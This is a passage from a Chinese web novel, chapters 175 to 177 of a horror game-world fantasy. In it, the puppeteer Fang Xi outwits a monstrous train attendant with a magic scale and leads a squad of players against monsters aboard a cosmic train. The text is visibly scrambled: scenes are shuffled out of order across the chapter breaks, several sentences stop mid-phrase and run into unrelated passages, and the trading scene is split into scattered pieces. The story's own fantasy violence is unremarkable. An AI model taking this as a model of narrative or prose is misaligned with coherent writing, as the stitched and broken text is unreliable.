驾驶台的设备极其崭新，玻璃窗最顶上有一个长方形小屏幕，显示着下一站的地点名称。 从秦淮月的视野来看，没什么异常之处。然后她习惯性先于团队的眼睛，作为开路的猎刀，踏出第一步。 五分钟前，所有因为战胜“乘务员”而热血沸腾的细胞。　　我 的队长，我的眼睛，根本不在乎我双手有多么肮脏的朋友。 “你能不能为了我这个自私的造梦家，留下来，不要迈出脚下的那一步？”踏樱几乎是哽咽地问道，“能不能等我们这些新星变得更强大一点的时候，再尽情利用我们，一起去那些根本不可能战胜的战场呢？” 踏樱这么说，并不是出于对方羲承诺的怀疑，虽然知道她这次只会消失一小段时间，但却更想任性地拉她一步，让她别那么快逼近死亡。 人类的灵感可以抵达无穷。 但躯体却不一定。 “……” 当看到方羲脸色露出点茫然的时候，踏樱忽然意识到，她这近乎愚蠢的劝说一定是成功了。 因为白乌鸦、收藏家、一千零一……是一个那样怜悯凡人的殉道者，所以她一定愿意为了自私的小人，短暂小小地停下一步。 但是、但是、但是。 她凭什么要让白鸦停下来呢？ “什么嘛——” “你居然真的信了我的试探——”踏樱勉强地笑道，“原谅我吧，因为我无法全心全意相信任何人，所以想小小地恶作剧一下……谁让你之前总是无缘无故失踪，让我担心了那么久。” 方羲愣了一下。 踏樱走上前，重重地拥抱了方羲一下。 然后又把这名为她犹豫的先行者，往前轻轻推了一下。 “我跟你开玩笑呢，你还是去吧，我这种货色可不值得你犹豫不决。” “那我真的走了？” “嗯，再见。” 第 175 章 第 175 章 大火。 燃烧的声音在耳边滋滋作响。 推开门，看见【帝国王都】全貌的那一瞬。方羲只心想，或许是因为她从未抵达过宇宙的另一角，所以连世界也无法从她的潜意识碎片提取出什么东西。 所谓的王都自然不可能加载成功，这里成为了一个BUG，根本就是异端的地盘嘛。 幸好她没有心软，没有同意让那些羸弱的队友一起进来，否则他们可能在踏进来的一瞬间就灰飞烟灭。 庞然大物礼貌地朝她招了招手。 国王：“或许，我该说晚上好？” 方羲：“你考过人类道德测验吗？如果有，那我猜你一定是不合格。” 庞然大物身后在不断舒展的触手，忽然僵硬了一瞬。 伟大的国王忽然感觉，底下这粒必败的尘埃，绝对是在嘲讽自己！但碍于某种深入骨髓的恐惧，它实在不敢破口大骂，只能唯唯诺诺地接话。 【太阳的心脏x1】 【遗落的远古武器胚胎x100】 【神奇的演员称号x7，包括但不限于马戏团团长、巫婆、小丑、魔术师、驯兽师、演奏家、玩具小熊。】 乘务员心如死灰。 一开始，乘务员的确是抱着一点小心思，特地放上一些对人类来说可有可无的残肢材料。 但越到后面，反而像是一个不死心的赌徒一样，它不相信这个人类的灵魂重到无法让天秤动摇丝毫！ 第一百个…… 【宇宙环游列车“乘务员”之权限x1】 很遗憾，“世间最公平的天秤”依然纹丝不动。 乘务员已经卖掉自己最后一个的砝码，满脸恐惧地看向对面的人类——该死，她居然在打瞌睡？！ 其他密匙玩家的脸色从观望的警惕，也慢慢变成一种难以置信的震惊，到最后习以为常的麻木……他们已经彻底接受了收藏家每一个看似无厘头的行为之下，所缔造出的不可思议。 林镜子一直在观察天秤的变动，忧郁的脸庞罕见地蹦跃出惊喜。藏在桌面之下的双手，屡次三番扣出不深不浅的血痕，才能遏制这名造梦家几乎想要呐喊的兴奋。 【乘务员】彻底输了！而隔壁房门的春醒和艾莉克萨，也侧目转头。 人偶露出一个纯洁仿佛不谙世事的微笑，但遍布地面、墙壁的食人藤蔓，却露出数张长着尖利牙齿的嘴巴。 太好了。 太好了。 春醒开心地想，她又可以饱餐一顿了。 黑羊少女眨了眨红色的眼眸，脸上没有丝毫表情，但她从哥特座椅上起身，手中凝现出一把巨大的镰刀。 长柄轻轻搭在地面，石像身躯极其放松，黑羊与雾身几乎融为一体，如同不动的雕像。 而黑雾，凝结为一个长着恶魔之角、身着华丽西装的男性青年，但身体却是黑色的虚影。 只有那张裂口般的嘴巴在一张一合。 【你好，亲爱的■■。】 【我很高兴，没想到你这么快就来赴约。】 【只是，你似乎并没有好好对待我亲手为你书写的邀请函。因为我听见了信封的埋怨，你居然把它放在户外风吹日晒！】 【我非常讨厌阳光。】 【在你成为我的眷属之前，要学会记住我的喜好，学会服从我的命令。】 【但是，你是一个不可思议的生命，看在这个份上，我愿意容忍你那些几乎数不清的缺点，我还可以满足你一直以来的梦想。】 男性青年用那双带着白色手套的双手，取下头顶的礼帽，朝人偶师微微鞠躬，做了一个优雅的致意。 然后，一个响指响起。 所有玩家的意识彻底中断。 睁眼。 思绪重归。 一个巨大的星航场映入眼帘。 列车、宇宙飞船、星系跃迁器仿佛违背常理般，二十四小时时刻运作，接待购买了车票、成千上万的客人。 巨大的屏幕上，闪烁着无数条航班信息，不断消失、又新生，机器播报员温和的声音传递到每一个角落。 【F08197号宇宙环游列车已开始检票，请购买了该乘票的旅客，尽快前往检票区检票。】 【请注意，该列车的旅程较为特殊，在观光完999号低等星的全部景点之后。列车将飞跃本星球，前往新的家园，进行下一轮环球观光。】 方羲坐在等候区的一张椅子上，一动不动，四周是来来往往的人潮。 抬眼凝望。 虽然有些认不清了，方羲微微眯眼，很快辨认出来。这里是019号低等星最大、最荒芜、多年来一直停止运作的星航场。 人偶师低低笑了几声，取出车票看了一眼上面的文字。然后微微朝旁边和后面看了一眼，这些与她同行的密匙玩家。 三名替行者的气息消失了。 人偶师感应不到她们的灵魂，似乎被投放至另一个时空。 但没关系，人偶不需要时刻确凿无疑的命令，连无意识长出一团灵魂的艾莉克萨也不需要。她们拥有独立的意志，所以不需要方羲担心。 方羲说：“各位，请跟上我吧。” 拎着皮箱，身着与其他旅客画风亳不相符的半身斗篷，浑身沾满异端血液的气息。 身后跟着一群相识时间不算久的队友，穿过拥挤人潮，根据车票的信息，进入检票区。 搭上这座现实中根本不可能的宇宙列车。 【审核通过。】 【您的座位序号为：13号车，三等18排C号座。】 【很遗憾，由于你仅有一千块的资产证明，你没有资格分配到该列车的商务舱、一等及二等舱。想必这是你花了毕生积蓄，才能买下这么一张丢到大街上也没人想要的票吧。】 检票员冷冷地说，声音还超大，满脸都是对穷人的嘲讽。 “……” 方羲闭了闭眼，忍耐，忍耐。 它放上这么多、放上整副身家的砝码，其价值根本无法等同收藏家百分之一的灵魂！ 首席造梦家林镜子，从来没见过这副超乎想象的场面。 坐在左边的乘务员，满脸扭曲，深海触手隐隐约约在后背长出。 它想要打翻这场交易。 猎人们顷刻间握紧武器，但没有任何一个人像刚才那样，未经允许而动手——尽管方羲在打瞌睡。 “咿呀——咿呀——” 天秤迟迟等不到新的砝码，又发出新一轮的尖叫！ 昏昏欲睡的方羲，大概是被吵得有点烦了，嘀咕了几句什么，像是在说梦话。 “安静一点。” 天秤瞬间乖乖闭嘴。 被誉为“世界无上之公平”的天秤，忽然桌面最中央，蹦蹦跳跳到方羲面前，底盘扭捏地长出一张笑脸。 乘务员：“……”羲点开面板，皮箱也没带上，点击回到人偶师空间，身影缓缓散作星辰微粒，消失在众人视野中。 密匙玩家们面面相觑：“……” “害，那我们就先等一会。”宋白玉语气轻松道，毫不介意。毕竟上一次他和唐灼，和收藏家一起进入副本的时候，已经隐隐窥见对方不太注重细节、且思维跳脱的性格。 猫猫打了个哈欠，从短暂的瞌睡中醒过来，跳上会议桌，靠近一袋刚刚被方羲取出的固态异端血肉，嗅了嗅。 密匙玩家好奇盯着猫猫的动作，视线随之落在那袋鲜红的残肢材料上。 【超级无敌美味的异端血肉x1（未烹饪）】 【净化度：87】 猫猫张开嘴巴，偷偷咬了两口。 然后猫猫又走到皮箱旁边，伸出爪爪，试探性打开皮箱。 啪嗒一声。 【收藏家的皮箱】似乎感应到橘色猫猫的灵魂认证，给予通过。 于是猫猫当作一众玩家的面，理所当然地躺进皮箱的表层而非里世界，缩成一团，恰到好处地填充一角。 空气中忽然出现几道压抑不住的笑声和咳嗽声。 “我难得第一次没这么害怕。”江簌忽然叹气道，“本来刚刚进门之前，我还怪紧张的。” 林镜子打量了一番桌上堆积的材料：“果然，这些残肢净化度都很高。” 程蔓野整个人毫无形象地趴在桌子上：“也不知道收藏家怎么净化到这种程度的，不知道能不能问她一下。” 疯苹果沉呤道：“这可能和收藏家本身的灵魂特质有关吧，就像是异端抗性，其实也能细分为肉.体的物理抗性和精神防御的抗性。不是仅仅依赖系统量化给出的数值来判断。” “各种多维度的特殊属性综合起来，才能创造出这种不可思议的结果。”疯苹果总结道。 “……难以想象的高度。”程蔓野叹气，“我们甚至不知道收藏家现在究竟站在哪一层。话说回来……阿乐，那个皮箱？” 疯苹果默了两秒，轻轻嗯了一声。 “大概是死了吧。” 程蔓野轻轻拍了拍疯苹果的肩膀，算是聊胜于无的安慰。 血腥玛丽和疯苹果二人，是在新晋期相识的伙伴，尽管后来为了执行真实区域的任务，两名造梦家必须分开行动，但也不影响她们之间的情谊。 方羲的身影终于重新出现，手里拿着一张带着一道裂痕、几乎要被砍成一半的血红色信封。 她把信封甩了甩，让密匙玩家注意到这个副本凭证：“这是我们接下来要刷的副本。” 所有人呼吸一窒。 收藏家的手上，像是拿着一个心脏，扑通扑通地跳动着，短短几秒之间，又反复变幻成半张裂口人脸、系统错误的乱码窗口、一片长着红色眼珠子的布料。 无数个不同类型的异端象征物，在密匙玩家眼中疯狂闪过。尤其是灵感更高的四名造梦家，能窥见更多恐怖的细节，瞳孔微微缩小。 这不是一个普通的、仅有几层外壳的高危副本。 仅从外表来判断，它……至少有上百层坚硬的外壳。并且像是一个巨大的迷宫，一旦走错路，就没有回头和继续前进的机会。 方羲注意到密匙玩家们忽然剧变的脸色，愣了愣，顺着他们的视线又看了眼手中的信封。 好像也没什么吧。 这不就是普通的信封吗？ 方羲语气诧异：“怎么了？” 秦淮月的神色略显恍惚。 曾经出入过无数个非常规战场的林镜子，声音颤抖地问：“收藏家，这个副本外壳数量太多了。我们只有十六名猎人，会不会人手不太够？在您的预估之内，我们能够敲碎多少层外壳？” “不会，还有替行者在呢。”方羲想了想，试图纠正林镜子的观念，“我们并不是仅仅要敲碎外壳，而是要深入异端的心脏区域，找到恶魔的根系。” “说起来，这也是我选择疯苹果的理由。” “你的天赋能够麻痹其他猎人的灵感和感官直觉，把非常理视作常理，这样你们才能和我一起抵达最深之境。” 秦淮月抬眼，面容恢复沉静，近乎于麻木的双眼，终于亮起一丝希望：“我明白了，我们会全力以赴跟上您的脚步。” 她是一把磨损过多的猎刀，一个已经熄灭了火焰的灰败灵魂。 但现在，终于等到了一双合适的、甚至远超越于她的眼睛。 “喵呜～” 方羲轻轻摸了摸猫猫，把它抱离皮箱，重新把各种材料和工具一股脑丢回箱子里。 里世界传出重物啪地摔落的声音。 同时取出一双皮质黑色手套，还有口袋里的龙鳞口哨，戴上。 晶莹剔透的口哨被方羲塞进衣服后面，紧贴肌肤。 左手拿起皮箱，右手拆开信封。 金色印章和枯花掉落。 “诸位。” “做好准备吧，我想这一定是一场有趣的冒险。” 人偶师微笑道，纯黑的双眼暴露出鲜明刻骨的疯狂。 难道你忘记自己是最公平的天秤了吗？为什么这么黏着人类？！不会是偷偷给她作弊了吧？ 天秤贴近了方羲一会，它身上的文字似乎随之发生了变化。 【世间最公平的天秤】 【隐藏属性：收藏家的专属天秤】 【这只天秤曾经衡量过无数人类的灵魂重量，但从未见过像收藏家这样怪诞又充满光辉的灵魂。它萌生了大大的好奇心，决定跟随收藏家——毕竟，为商人工作，它常常吃不饱穿不暖，实在太累了。】 低垂着头、斗篷掩盖了小半张脸的人偶师，终于从睡梦中清醒，睁开眼睛，目光重新落在异端身上。 她微微一笑，双手抬起，不轻不重地拍了个掌。 挂在天花板的金属星月，壁炉之内的数盏蜡烛。随着掌声落下，骤然熄灭。 所有玩家的视野也坠入黑暗，甚至是原本无所不能的异端。 看不清五指的黑暗中，只有一缕飘荡在天秤左盘的柔雾，散发着淡金色的光芒。 “你所有砝码都归我所有。” “但很遗憾，你的砝码重量无法与我的百分之一灵魂等同。” “我将回收我的灵魂。” 柔雾缓缓飘回方羲的心口。 “这不公平！”乘务员尖叫道，“你肯定在作弊，人类轻飘飘的灵魂怎么可能价值这么多砝码！【世间最公平的天秤】，回来！” 天秤朝乘务员吐了吐舌头，一脸蔑视：“我呸，你这个臭资本家” “你不打算去找你的朋友，再借一些筹码来吗？”方羲状似遗憾地摇头，“哦……这么解释吧，按照人类的游戏术语来说，你身上挂着一个债务BUFF。” “在没有找够等同于百分之一灵魂的东西之前——你永远不会坠落。”方羲友善地说，“所以放心吧，其他大型异端不会再出于自相残杀的恶习来吃掉你。” 乘务员已经顾不上优雅的仪态，猛地站起来，差点没把桌子给掀翻了：“你根本没打算把灵魂给我，凭什么要求我付出这么多？！” 方羲摸了摸天秤，理所当然地说：“哎……仔细想想，其实亏的是我，毕竟我让你得到了永生。要知道就算是你们异端，生命再怎么长，也是有极限的。你说对吧？” 乘务员咬牙切齿：“……疯子。” 密匙玩家大受震撼，以一种极其敬佩的眼神看向她。 果然，收藏家才是魔鬼吧？ 方羲也从椅子上站起来，把皮箱放在桌上，打开，让天秤跳进去。 这样也意味着，乘务员刚刚给出的砝码，全部被方羲收入囊中。 身披斗篷的人偶师，故意用同样优雅的姿态，朝乘务员微微弯腰致意，但嘴里吐出的话语却极其令人胆寒：“你也可以离开了，你甚至可以回去，代替我警告躲在无数外壳之下的恶魔，让它藏好自己的尾巴。” 人偶师手中凝现出一把雕刻刀，在木桌上留下一道深深的沟壑，刀与木头摩擦的声音格外刺耳。 雕刻刀将这个房间切割成两半。 晨乌猫猫跳到另一个石块上，蹲坐着，舔了舔自己受伤的爪子。 就像只失去了主人照顾的流浪猫一样。 踏樱轻声问：“如果你的主人回来，来告诉我们一声，可以吗？” 橘猫冷漠地看了人类一眼，没有喵喵叫，而是转过身。轻盈地一跃，换作淡金色的微光，消失了。 就如同它那个总是不信守承诺的创造者那样。 白鸦。 你没有如约参加真实试炼，没能成为第一名…… 可你不是想要秦长官送的别墅吗？你怎么偏偏就不来参加呢？你还活着吗？你是不是真的死在了那条穷极的道路上？我当时应该顺从懦弱的直觉，让你停下来的……如果你再不回来，我马上就会被这片可怕的愧疚杀死了。我从来没有这么后悔过。 “……” “骗子。” 第 176 章 第 176 章 “系统？” “欧律狄刻？” “……” 方羲呼唤了几声，没得到回应，愣了好久，才慢慢从全息仓里爬了出来。 手脚好僵硬，全身都在发凉。 而且肚子很饿。 毕竟这次在游戏待得太久了…… 方羲在原地活动了一会，才让像僵尸一样的身体恢复正常。 全息设备已经冒出了一阵难闻的黑烟，方羲去把所有窗户打开，好方便通风换气。 然后把这堆破铜烂铁移到屋子的最角落，不想让它占位置。 方羲盯着它发呆了好一会，又忽然想到什么，手往口袋里一摸，翻出一只没办法说话的眼珠子。 于是方羲把它又放回储物室里，原来那个方方正正的铁皮盒，里面的千年寒冰自然还没有化，冒着阵阵可怕的寒气。 百分之一的灵魂的确很多。 因为方羲制作群鸟时，领头的傀儡赋予千分之一的灵魂，而其他傀儡则少上很多，分别给了万分之一的灵魂。 方羲做了个示意停下的手势。 林镜子立刻闭上了嘴，只好沉默地收回手。 一个【世间最公平的天秤】如约而至，缓缓落在桌面最中央。 【世界最公平的天秤】厢逐渐蔓延出一阵食物的香味，部分还没转过弯的密匙玩家，一边脸色茫然，一边忍不住疯狂吸溜收藏家赠予的特价泡面。 毕竟是锚点建立者赠送的物资，他们对此怀着深深的滤镜，总觉得哪怕是简简单单的特价泡面都蕴含着深刻的含义。 方羲接过装了热水的泡面，放在小桌板上。 重新翻阅那本“列车守则”。 方羲眨了眨眼。 黑色的文字开始重新组合，手上小册似乎忽然间变得厚重了一点，多出了几页新的的内容。 禁止斗殴。即武器的弱化和失效，但他们现在乘上列车还很短。 服用残肢。把玩家进行隐秘的同化，而这个乘务员，大概是整个列车比较“高级”的存在。 方羲翻到后面新出的几页，左眼同时间跳跃了几下，她又抬起手压了压眼睛。 【光明女神的修道院、新鲜人类的屠宰场、展览记忆的神圣博物馆、奖励肥厚的大逃杀、剑与十字架的黑白棋盘……】 上面罗列着上百个地点文字，仅仅只有名称，没有更详细的详情介绍。 这些都是这座列车经过之地。 方羲直接哗啦啦地翻到最后一页。 【最后，我们将通往天国之路，所有生命都会在这里得到救赎。】 【无论是常年饥饿、吃不饱穿不暖的低级异端。】 【无论是想要更上一层、常常被无辜殴打的可怜异端。】 【还是灵魂已然熄灭、存在形式被模糊的人类。】 这里没有智脑，没有崭新的设备。 没有显示航班信息的公共屏幕。 也没有灯塔和光明。 明亮的星航场，缓缓变暗、发旧、彻底沦为荒凉之地。 伪装成建筑的异端们，不甘心地扭动身体，变回原貌，张开翅膀和雪白的獠牙，成群向方羲扑来。 但方羲只是站在原地不动，没有召唤出任何一把武器。 因为这些只是最低级的、最容易被触怒的异端。 “攻击。” 秦淮月反应速度最快，在方羲吐出第一个音节的时候，身体便骤然窜出人群。 锋利的长枪横扫战场。 附魔子弹紧随其后，穿透蝙蝠和肥鼠的肉.体。 光剑轻轻一挥，十字刃顷刻斩杀上百只章鱼触手。 密匙玩家的战斗极其默契，子弹、刀剑光影层层交叠，迸裂出更大的轰击。 方羲顺便踩碎方才检票员滚落的头颅，它的身体已经畏惧得跪倒在地。 头颅轰然炸裂，但血液没有沾上长靴一丁点，反而敬畏般后退，静静地找了一个角落，静静地死亡，静静地怀缅口袋里今天那十根还没舍得吃的头发。 方羲重新转身，看见远处那座唯一没有被雕刻刀腐蚀的宇宙列车。 明明已经“超时”，却还停留在原地，像是在刻意等待着什么。 “十五分钟。”人偶师平静地丢下一句，“解决完之后立刻跟上来。” 四名造梦家迅速跟上方羲，留下猎人在第一层外壳的战场。 宋白玉隔着一段距离，与远处的秦淮月对视一眼，得到对方确认的眼神，便直接从军用设备取出一个手榴弹。 一个压缩了上千倍爆破力的附魔手榴弹。 “撤退！”宋白玉高声喊道。 猎人们从数之不尽的异端尖叫中，灵敏地捕捉到宋白玉的声音。 在迅速杀死面前最后一只异端之后，然后快步奔跑，跟上方羲的脚步。 在方羲以一种极其冷漠的语气，丢下一句时间限制、独自带着造梦家离开的时候，这些猎人心底下意识产生几分惊惧。 猎人最忌讳的事情便是在战场失去眼睛，坠入什么都没有黑暗，五感还能运作却没有丝毫作用。 但无色的丝线已经遍布整个星航场，不需要人偶师刻意指出具体的方向，猎人们也能窥见异端真实的、完完整整的身体。 视野变得极为清晰。 也不会存在丝毫精神上的污染。 猎人们很快意识到这一点，如同身处不可能存在的梦境。 他们居然在此刻，也拥有了窥视异端的“视野”。 血液澎湃般发热，心脏扑通跳动，连习惯了奔跑的双脚也变得更加有力。 明明这只是一层最低级不过的外壳，但这是他们第一次在完全不依靠灵感道具、替行者和傀儡师的情况下独自战斗。 哪怕只持续了短短几分钟。因为密匙猎人的念头不出意外地默契，用最粗暴的方法轰炸这个面积巨大的外壳。 一把附魔枪械直接被宋白玉丢在地面。 手法熟练地拉环，身体后撤。 一段充满蛊惑的文字，方羲耳边又响起一片怪异扭曲的呢喃，像是有人真的站在她的旁边，嘴唇对着耳朵，双手缓缓攀上喉咙，轻轻一掐。 方羲不耐烦地说：“滚。” 窒息感和呢喃声瞬间消失。 而其他密匙玩家闲聊的声音，也随之静默下来。 “刚刚怎么了？”林镜子下意识握紧法杖，谨慎地问。 “没事。”方羲轻描淡写地说。 方羲把列车守则塞到前面座位的储物袋，才开始慢悠悠地开始炫泡面。 方羲吃饭的速度一向很慢，当她开始吃泡面的时候，以效率著称的密匙玩家们，已经结束了用餐，正迷茫地待在座位上。 突如其来的休息，让他们很不习惯。 而更奇异的是，直到现在，也没有任何一只异端主动送上门攻击。 宋白玉摸了摸方羲赠送的蝴蝶吊坠。这因为这个“护身符”在吗？还是有别的原因？ 说起来，上一次在医院副本的时候，他似乎感觉异端对待收藏家的态度，要更加“客气”一些？错觉吗？ 宋白玉一向不太相信自己的灵感，猎人的灵感总是错漏百出。更何况，自从被解云手下的傀儡，放弃提供视野之外，他的内心总是对傀儡师们怀着一丝怀疑。 尽管表面上依旧会高效率地执行命令。 ——猎人的精神状态，是三种职业中最健康的，但其实也不见得。 没人不怕死。 只是密匙玩家的意志力远高于常人而已。 当然，绝大部分时候他还是很理解傀儡师疯狂之下的痛苦。 他侧目瞅了一眼还在吃泡面的方羲，心底居然产生一种毫无动摇的信任。明明和这名傀儡师只是合作过一次而已。 她太正常了。这个正常并不是指收藏家本人在副本中超脱常理的举动，堪称言出法随的古怪能力。 而是，收藏家身上仍然带着鲜明正向的情绪，会因为找不到零食而郁闷，因为觉得累所以要坐下休息。 面对惨绝人寰、不成人样的陈妙生，宋白玉以为收藏家不管不问的态度，是因为她已经失去生命的怜悯之心。 窥见异端真实面目的傀儡师们，也愈发趋向疯狂、没有人性，敲碎外壳成为他们唯一活下去的坐标。就像是某种近乎憎恨的报复。 但她捡着现有的残肢道具，转身去“治疗”的时候，宋白玉很快意识到。收藏家不回应，真的只是单纯的性格使然，大概是懒得讲废话。 这也是收藏家与其他傀儡师的不同之处。而不仅仅是因为她能够建立锚点的能力。 宋白玉收回神，习惯性取出白布擦拭附魔手枪，途中忍不住反复转头偷看方羲。 莫名其妙的。 【这是一只喜欢平衡的天秤，它讨厌倾斜和不规则。所以，一旦在单边放入第一个砝码，另一边必须在有限时间内，放上相对等的砝码。否则，世间最公平的天秤，会强行抢走你的金币、背包、身体乃至灵魂——直到双盘平衡。】 “请将您百分之一的灵魂放上天秤。”乘务员说，“请放心，在交易未确立之前，这只是一种形式，不会未经允许就抽取人类的灵魂，我可是一名相当有职业素养的商人。” 傲慢的乘务员发现方羲居然要主动送上灵魂，终于忍不住露出了异端贪婪的獠牙。 “您一定是想问替行者去哪了吧？” “您似乎还没有决定在哪一站下车，我可以告知您最合适的下车点。” “您有想要的情报吗？” “关于恶魔之主，我的确可以向你透露一点点有趣的东西。” 方羲把【百分之一的灵魂】放入天秤左盘。 “你说得对。”方羲诚恳地说，“这些我都想要，请都放上来吧。前提是，你不是在忽悠人，而是真的手握情报。” 人偶师脸上带着一个令乘务员毛骨悚然的笑容。 这个人类究竟在自说自话什么？ 天秤在倾斜，虽然角度夸张得有点过头了……能理解，毕竟她是异端杂志上位列第一的食物，天秤觉得重一点也正常。 而且它还没有放上砝码。 乘务员冷哼一声，方羲没有特指想要交换什么。所以它留了个心眼，只放了一个【建议下车旅游站点（简陋版）】上去。 无论怎么样，无论方羲的灵魂再贵。乘务员的一个砝码都能价值人类百分之一的灵魂。如果方羲想要更多，只能再给出百分之一的灵魂……等等。 天秤为什么纹丝不动？ 代表方羲的左盘重重下坠，仍然以最大最夸张的角度倾斜。 乘务员惊惧抬眼。 “从见面的一开始，我就强调过了。” “我的灵魂很贵。” “好了，懒得说废话了——你把自己的砝码全部放上来吧，无论是所谓的情报，还是你的触手。小金库也可以拿出来，有什么给什么。放心吧，我都不挑。” 乘务员怀疑自己耳朵听错了：“什么？” 但方羲没有再理它，反而是讨厌不平衡的天秤，开始发出催促的尖叫。 更何况，这份残音似乎经过压缩设计，就连灵感再低的帝国人类也听得见……这并不是为一千年后的方羲准备的。 方羲摊手：“就是这样。真麻烦，浪费了我整整三天的时间，早知道这样，我还不如用来睡觉呢。” 一千零二不信邪，大叫：“不行！难道我和你时间相隔太久了？还是说你变化得太快了？怎么能就这么放弃了！你快给我做一个身体，我帮你修！区区一台游戏机罢了，只要我们两个方羲上场，怎么还办不了它？” “一千零二……” 方羲的声音很轻，像是在梦呓。 “我和你一模一样。”方羲说，“但在你被取出我的身体的那一刻，你就不再是我了。” “你前几天还不是这么说的！” “你就当我变了吧。” “真的修不了吗？” “修不好的。”方羲疲惫地趴在桌子，嘟嚷道，“一千零二，我根本推不开那扇一千年前就被关上的门，还是说，那扇门其实一开始就不存在呢……” 第 177 章 第 177 章 方羲觉得四周所有的一切都在失序。 虽然她经常吃过期的饭菜，但呕吐好像只是一种心理性行为，其实她的身体并不觉得痛苦，实际上吃什么都能消化。 瘫在卧室床上的时候，有时候会觉得大地在地震，天花板在摇晃。但方羲仔细感受了一下，发现这可能不是地震，而是房屋失去了地心引力，在天空没有方向地飘来飘去。 只是每当她拉开窗帘的时候，失重感顿时消失得无影无踪，窗外的景象也像是某种简陋滑稽的儿童贴图画。 大树的根须是虫子的脚，已经很久没有浇过水的农田，没有收银员、顾客和保安的超市，菜叶子和包装袋一起飘到月亮旁边，试图扮演星星的角色…… “主人，你要出门？” 在桌子上和一千零二下飞行棋的春醒，敏锐地转过头。 “散一会步。”列车已经启程很久，巨蛇缓缓脱离人造轨道，歪歪扭扭地爬着。 方羲望向窗外。秦淮月还站在战场最中央，她微微转头，却没有逃离，手下的长枪也没有因为即将到来的爆破而停止击杀。 她再次给出一个确定的眼神。 宋白玉开始挥臂，拥有流畅肌肉线条、数年来坚持锻炼的手臂，轻而易举地引弹投出。 一片爆破声轰然响起。 数之不尽的异端瞬间被炸裂成碎片，尸骨与残肢落入烧到天际的大火。 无色的丝线轻柔覆上大地，把最后一只最擅长隐藏的人型异端，从观察室强制拉出，直接抛到猎人的视野中央。 宋白玉重新捡起附魔枪械，火焰并没有攀上他的身体。因为这是一颗经过造梦家改造的特质手榴弹，仅仅针对于异端的道具，所造成的伤害不会投射到人类身上。 哪怕是烟雾也不会对他们的呼吸造成影响，手榴弹中压缩着一个微型造梦场。 但使用时间有限。 炽热的烈焰越发旺盛，团团黑烟冒出。 一个高壮的身影从火光中缓缓走出，手持着一炳长枪，上面还插着一个人头，一路滴着血。 “这是最后一个。”秦淮月长枪轻轻一甩，头颅滚入大火。 “我们可以走了。” 巨蛇仿佛时空跳跃一般，假装飞了一小会，很快来到了第一站。 【距离列车重新开启，仅剩五分钟。】 【想要前往“光明女神的修道院”的旅客，请尽快下车。】 【下一站预告：新鲜人类的屠宰场。】 播音员似乎换了一个人，声音相当冷静平和，没有透露出一丝一毫多余的情绪，像是一个执行命令的呆板机器人。 方羲觉得上一个播音员可能因为脾气太差，被辞退了吧。 长方形的蛇鳞缓缓开门，其他车厢传来一阵巨大的人潮涌动的声响，有的“人”在下车，也有的“人”在上车 。 方羲稍加思索，站起身，拎起皮箱，她准备从头到尾逛完所有车厢。 “走。”方羲简洁地说，“第一小队。” “其他玩家留在原地，等。” 林镜子和秦淮月立刻让出身，其他玩家也紧随其后。 方羲穿过车厢之间的链接，侧目瞥了一眼，洗手台的水龙头没有关，好像是某个没素质的异端愤怒之下的幼稚行为。 水龙头正在哗啦啦地留着鲜血，溢至地面，小心翼翼地爬向末尾车厢。 明明刚刚还没有。 方羲稍加思索，直接上前，关掉。 “别再浪费水资源了，把多吐的水捡回去吧。”方羲友善地说，右手甚至摸了摸水龙头的把手，像是在温柔地抚摸一个不明状的怪异生物。 水龙头：“……” 它在方羲的注视之下，沉默又绝望地把血液吸回来，途中甚至忍不住咳嗽几声，像是想呕吐。 方羲略感诡异，怎么回事。这异端的情绪反应，好像跟低等星的旧同事差不多。 不过这个念头，很快碎裂成细碎的几片，落回潜意识的最深处。 方羲走进倒数第二的车厢，拉开门。 一堆相互殴打的肉块，满地触手、残肢、大脑皮层。 异端之间常常以殴打为乐。 方羲摸摸下巴，表示理解。 全场寂静了几秒，它们似乎思考停滞了几秒，然后颤颤巍巍地恢复“秩序”。 带着胚胎、低声哄睡的女性。 霸占整整三个座位、打着巨大呼噜声的中年男人。 哇哇大哭、疯狂捶打“母亲”的小男孩。 偷偷摆弄行李、手法不甚熟练的小偷。 方羲抽了抽嘴角，不得不说，它们演得还像模像样的。 如果忽视它们身上蠕动着、将落未落的人皮。 大概是从哪些人类身上剥下来的。 “杀了吧。”方羲语气轻慢地说，抬手拉了一下斗篷的帽子，脚踩蔓延地面的鲜血，身后响起扣动扳机和刀尖碰撞的声音，继续前往下一个车厢。 一群身着落地白袍的修士，安静就坐，姿态端庄，胸口前佩戴着十字架手链，低头祷告，发出意味不明的呢喃声。 堪称全神贯注，甚至意识不到方羲推开了门。 但还有一名看上去不太靠谱，全程没有参与祷告的瘦弱青年，叼着烟头，翘着二郎腿。 它忽然顿了顿，没有转身，但头颅僵硬地扭了过来，从正面转到背面，沉默又谨慎地盯了一会方羲，又默默扭回头。 双手捧着十字架项链，开始低声祷告。 “上帝啊，为什么要让我遇遇遇见通缉犯，我我我我我我一定是在做梦……” 方羲站在它旁边，状似无意地说：“你的项链看上去不错。” 瘦弱青年：“……” 短短时间之内，快速结束战斗而返回的猎人们。听见方羲的话，都感到一丝诡异。 收藏家该不会是想直接上手抢异端的东西吧？ 下一秒，方羲直接伸出手，抓住瘦弱青年的十字架手链，向后一扯。 “可你以前从不会在晚上出门……” 经过十三次抗议、终于在现实中也拥有了躯壳的一千零二插话道：“什么？出门！我也要去玩！” 黑壳之书瞬间飞到方羲旁边，主打一个自动跟随。 春醒思考了两秒，决定也一起跟上。 乘务员自我欺骗地想。 “我想，我该正式自我介绍一下。”乘务员微笑道，“事实上，的确如你猜测的那样，我其实是一名商人。” 乘务员优雅的声音娓娓道来。 “我在失乐园中，和不少人类玩家打过交道，每个人都有所求。有的人想要升级，而有的人想要复活队友。” 方羲哦了一声：“搞这么复杂？闲的？” 乘务员被哽了一下，顿了顿才继续说。 “人类的力量总是过于渺小，而我恰好可以满足他们的愿意。很有意思的事情……” 方羲又哦了一声：“看来你确实挺闲的，吃饱了撑的吧。” 乘务员额头差点冒出一道青筋。 ……为什么这个人类不按常理出牌！ “更有甚者，愿意付出所有的灵魂，询问一个一劳永逸、永远杀死我们的办法。” 人偶师散漫的神情渐渐露出几分兴味。 乘务员见方羲终于起了点别的情绪，心下一松。 果然，再怎么特别，都只是蚂蚁而已。 乘务员轻蔑地想。 它很快话锋一转：“但很遗憾，这名玩家灵魂的重量，不足以支付这个问题的答案。不过，如果您想要的话，只需要支付百分之五十的灵魂，就可以得到这个答案。” 